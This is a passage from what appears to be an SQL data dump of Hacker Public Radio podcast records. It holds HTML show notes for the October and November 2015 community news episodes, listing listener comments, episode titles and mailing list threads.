target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-09-28 11:15:19 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-10-03T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/965\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/965</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-10-26 08:56:11 UTC<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-10-31T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/973\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/973</a><br/>\n        <em>Messages:</em> 4<br/></li>\n</ol>\nTotal messages this month: 10<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 32 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1728#comments\" target=\"_blank\">hpr1728</a></strong>\n(2015-03-18) \"<em>Requested Topic: Favourite Browser Extensions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1728#3\" target=\"_blank\">Comment 3</a>:\nFin on 2015-10-30:\n\"Ad-Block Edge Successor\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1828#comments\" target=\"_blank\">hpr1828</a></strong>\n(2015-08-05) \"<em>Multimeter Mod\'s Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1828#3\" target=\"_blank\">Comment 3</a>:\nNeandergeek on 2015-10-17:\n\"Great imprompto series\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1848#comments\" target=\"_blank\">hpr1848</a></strong>\n(2015-09-02) \"<em>Introduction to w3m, a Command Line Web Browser</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1848#1\" target=\"_blank\">Comment 1</a>:\ntom_len on 2015-10-01:\n\"automatize login from command line\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1848#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2015-10-27:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1859#comments\" target=\"_blank\">hpr1859</a></strong>\n(2015-09-17) \"<em>A Mouse in a Maze on the Raspberry PI</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1859#2\" target=\"_blank\">Comment 2</a>:\nEric on 2015-10-07:\n\"A better maze\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1859#3\" target=\"_blank\">Comment 3</a>:\nGabriel Evenfire on 2015-10-13:\n\"Maze generation\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1862#comments\" target=\"_blank\">hpr1862</a></strong>\n(2015-09-22) \"<em>The Awesomely Epic Guide To KDE Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1862#2\" target=\"_blank\">Comment 2</a>:\nGeddes on 2015-10-16:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1863#comments\" target=\"_blank\">hpr1863</a></strong>\n(2015-09-23) \"<em>The Awesomely Epic Guide To KDE Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1863#2\" target=\"_blank\">Comment 2</a>:\nGeddes on 2015-10-16:\n\"Thanks for the feedback\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1864#comments\" target=\"_blank\">hpr1864</a></strong>\n(2015-09-24) \"<em>Turning an old printer into a network printer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1864#3\" target=\"_blank\">Comment 3</a>:\nturtle on 2015-10-05:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1864#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-10-06:\n\"DEC-LN03\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1864#5\" target=\"_blank\">Comment 5</a>:\nBob Evans on 2015-10-07:\n\"connecting to legacy printers\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1864#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2015-10-07:\n\"Re: connecting to legacy printers\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1866#comments\" target=\"_blank\">hpr1866</a></strong>\n(2015-09-28) \"<em>An awkward talk with two young computer users</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1866#2\" target=\"_blank\">Comment 2</a>:\ncombiner on 2015-10-05:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1867#comments\" target=\"_blank\">hpr1867</a></strong>\n(2015-09-29) \"<em>The Lafayette Public Library Maker Space</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1867#1\" target=\"_blank\">Comment 1</a>:\namunizp on 2015-10-07:\n\"3D print\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1870#comments\" target=\"_blank\">hpr1870</a></strong>\n(2015-10-02) \"<em>19 - Home SSH Server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1870#1\" target=\"_blank\">Comment 1</a>:\nkdmurray on 2015-10-06:\n\"SSH Passwords\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1874#comments\" target=\"_blank\">hpr1874</a></strong>\n(2015-10-08) \"<em>Interview with Droops</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1874#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2015-09-27:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1874#2\" target=\"_blank\">Comment 2</a>:\nJ. on 2015-10-08:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1874#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2015-10-13:\n\"I loved this interview\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1880#comments\" target=\"_blank\">hpr1880</a></strong>\n(2015-10-16) \"<em>Arduino Bluetooth HOWTO</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1880#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-10-16:\n\"Great show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1881#comments\" target=\"_blank\">hpr1881</a></strong>\n(2015-10-19) \"<em>My road to Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1881#1\" target=\"_blank\">Comment 1</a>:\nFin on 2015-10-19:\n\"Music fail\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1881#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-10-23:\n\"Great episode\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1881#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2015-10-26:\n\"Thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1884#comments\" target=\"_blank\">hpr1884</a></strong>\n(2015-10-22) \"<em>Some more Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1884#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2015-10-27:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1884#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-10-27:\n\"Thanks Frank, glad you enjoyed it\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1884#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2015-10-28:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1884#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-10-29:\n\"Regular expressions\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1889#comments\" target=\"_blank\">hpr1889</a></strong>\n(2015-10-29) \"<em>experiencing the meegopad T-02  part one</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#1\" target=\"_blank\">Comment 1</a>:\nGNULinuxRTM on 2015-10-29:\n\"Execellent Episode.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2015-10-30:\n\"Tremendous! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#3\" target=\"_blank\">Comment 3</a>:\nFin on 2015-10-30:\n\"Fantastic!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1889#4\" target=\"_blank\">Comment 4</a>:\nA Shadowy Figure on 2015-10-31:\n\"Like your work as well GNULinuxRTM\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1890#comments\" target=\"_blank\">hpr1890</a></strong>\n(2015-10-30) \"<em>A short walk with my son</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1890#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-10-30:\n\"Up with the $2 lapel mic! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1890#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2015-10-31:\n\"Audio Quality\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1916,'2015-12-07','HPR Community News for November 2015',6854,'HPR Community News for November 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\" target=\"_blank\">Eric Duhamel</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\" target=\"_blank\">OnlyHalfTheTime</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1891\" target=\"_blank\">1891</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-11-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1891\" target=\"_blank\">HPR Community News for October 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1892\" target=\"_blank\">1892</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-11-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1892\" target=\"_blank\">my chicken coop</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1893\" target=\"_blank\">1893</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-11-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1893\" target=\"_blank\">My LastPass Alternative</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1894\" target=\"_blank\">1894</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-11-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1894\" target=\"_blank\">Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1895\" target=\"_blank\">1895</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-11-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1895\" target=\"_blank\">65 - LibreOffice Impress - OLE Objects, Spreadsheets, and Charts</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1896\" target=\"_blank\">1896</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-11-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1896\" target=\"_blank\">User Local Software</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\" target=\"_blank\">Eric Duhamel</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1897\" target=\"_blank\">1897</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-11-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1897\" target=\"_blank\">Installing Windows 7 Ultimate</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1898\" target=\"_blank\">1898</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-11-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1898\" target=\"_blank\">Free my music!</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1899\" target=\"_blank\">1899</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-11-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1899\" target=\"_blank\">MyTinyTodo List</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1900\" target=\"_blank\">1900</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-11-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1900\" target=\"_blank\">20 - SSH Basics</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1901\" target=\"_blank\">1901</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-11-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1901\" target=\"_blank\">Instaling Linux programs without internet</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1902\" target=\"_blank\">1902</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-11-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1902\" target=\"_blank\">My Linux Tool Box</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1903\" target=\"_blank\">1903</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-11-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1903\" target=\"_blank\">Some further Bash tips</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1904\" target=\"_blank\">1904</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-11-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1904\" target=\"_blank\">Windows Command Line Tips and Tricks</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\" target=\"_blank\">OnlyHalfTheTime</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1905\" target=\"_blank\">1905</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-11-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1905\" target=\"_blank\">66 - LibreOffice Impress - Built-In Charts</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1906\" target=\"_blank\">1906</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-11-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1906\" target=\"_blank\">Apt Spelunking 2: tvtime, phatch, and xstarfish</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1907\" target=\"_blank\">1907</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-11-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1907\" target=\"_blank\">Charlie Reisinger and Penn Manor</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1908\" target=\"_blank\">1908</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-11-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1908\" target=\"_blank\">Arduino Pumpkin</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1909\" target=\"_blank\">1909</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-11-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1909\" target=\"_blank\">Creating an Open, Embedded-Media Music Textbook</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1910\" target=\"_blank\">1910</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-11-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1910\" target=\"_blank\">QMMP--The Qt-based MultiMedia Player</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1911\" target=\"_blank\">1911</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-11-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1911\" target=\"_blank\">Thoughts on GUI v CLI and the best distro</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-11-13 11:23:49 +0100<br/>\n        <em>Subject:</em> New Podcast: international open magazine<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/978\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/978</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-11-15 13:09:44 UTC<br/>\n        <em>Subject:</em> UK Table Kit<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/979\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/979</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-11-15 19:38:03 -0600<br/>\n        <em>Subject:</em> Re: 1. UK Table Kit (Dave Morriss)<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/980\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/980</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Patrick Dailey &lt;pdailey03@...&gt;<br/>\n        <em>Date:</em> 2015-11-16 08:27:32 -0500<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 86, Issue 4<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/985\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/985</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Lord Drachenblut &lt;lord.drachenblut@...&gt;<br/>\n        <em>Date:</em> 2015-11-18 07:28:42 UTC<br/>\n        <em>Subject:</em> HPR Zoom H1<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/986\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/986</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-11-21 13:11:26 +0100<br/>\n        <em>Subject:</em> Wed 2015-12-02: hpr1913<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/987\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/987</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Clinton Roy &lt;clinton.roy@...&gt;<br/>\n        <em>Date:</em> 2015-11-22 16:57:20 +1000<br/>\n        <em>Subject:</em> first update<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/988\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/988</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Kevin O&#39;Brien &lt;zwilnik@...&gt;<br/>\n        <em>Date:</em> 2015-11-22 13:10:28 -0500<br/>\n        <em>Subject:</em> Short break<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/992\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/992</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-11-28 07:00:11 -0600<br/>\n        <em>Subject:</em> Metadata bloat<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/995\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/995</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Mike Dupont &lt;jamesmikedupont@...&gt;<br/>\n        <em>Date:</em> 2015-11-28 10:40:56 -0500<br/>\n        <em>Subject:</em> 412 Precondition Failed<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/998\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/998</a><br/>\n        <em>Messages:</em> 8<br/><br/></li>\n    <li><em>From:</em> Frank Bell &lt;frankwbell@...&gt;<br/>\n        <em>Date:</em> 2015-11-28 15:20:25 -0500<br/>\n        <em>Subject:</em> A Question about Shownotes<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1007\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1007</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-11-29 15:21:14 -0600<br/>\n        <em>Subject:</em> Re: Wed 2015-12-02: hpr1913 - UPDATE TO SITE<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1012\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1012</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-11-30 11:44:52 +0100<br/>\n        <em>Subject:</em> New Year Show ?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1014\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1014</a><br/>\n        <em>Messages:</em> 